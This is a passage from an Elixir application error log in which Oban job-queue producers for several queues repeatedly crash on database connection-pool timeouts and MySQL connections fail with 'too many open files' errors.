    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:57:50.239380Z], limit: 50, uuid: "b2afba05-2a8a-4910-9b18-98059ced7f3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239413Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148821>, refresh_timer: #Reference<0.2525715032.1077673987.12890>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:02.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:57:50.239646Z], limit: 5, uuid: "e9191d1e-197f-4cc8-bc49-af217d81c256", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239651Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12923>, refresh_timer: #Reference<0.2525715032.1077673987.12908>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:57:50.239612Z], limit: 20, uuid: "323c7087-b9fb-415d-9c06-32806a9670a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239618Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148819>, refresh_timer: #Reference<0.2525715032.1121189889.148806>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:57:50.239631Z], limit: 5, uuid: "d692f1e2-7d28-44ba-90ac-a46248a16526", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12924>, refresh_timer: #Reference<0.2525715032.1068498948.40804>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:57:50.239746Z], limit: 10, uuid: "79b91226-d5f6-434c-9c5f-48eaa55ed0d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:50.239752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.148820>, refresh_timer: #Reference<0.2525715032.1121189889.148811>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:03.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:05.628000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:06.119000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:06.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:10.224000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:10.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:10.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:58:02.252509Z], limit: 20, uuid: "fdb4b45c-0c1b-4d8c-8084-fdfc7ccd574a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.252515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13176>, refresh_timer: #Reference<0.2525715032.1077673987.13134>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:58:02.251529Z], limit: 5, uuid: "502f4d47-adf6-48af-8808-de431e619468", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.251535Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13112>, refresh_timer: #Reference<0.2525715032.1077673987.13098>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:58:02.254865Z], limit: 5, uuid: "3726b68b-978e-49a0-959f-7f9e839ca32a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.254870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13178>, refresh_timer: #Reference<0.2525715032.1099431938.37810>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:58:02.250064Z], limit: 50, uuid: "ca904e8a-1541-4ebc-90ab-b596b251e6e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.250071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13138>, refresh_timer: #Reference<0.2525715032.1077673987.13137>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
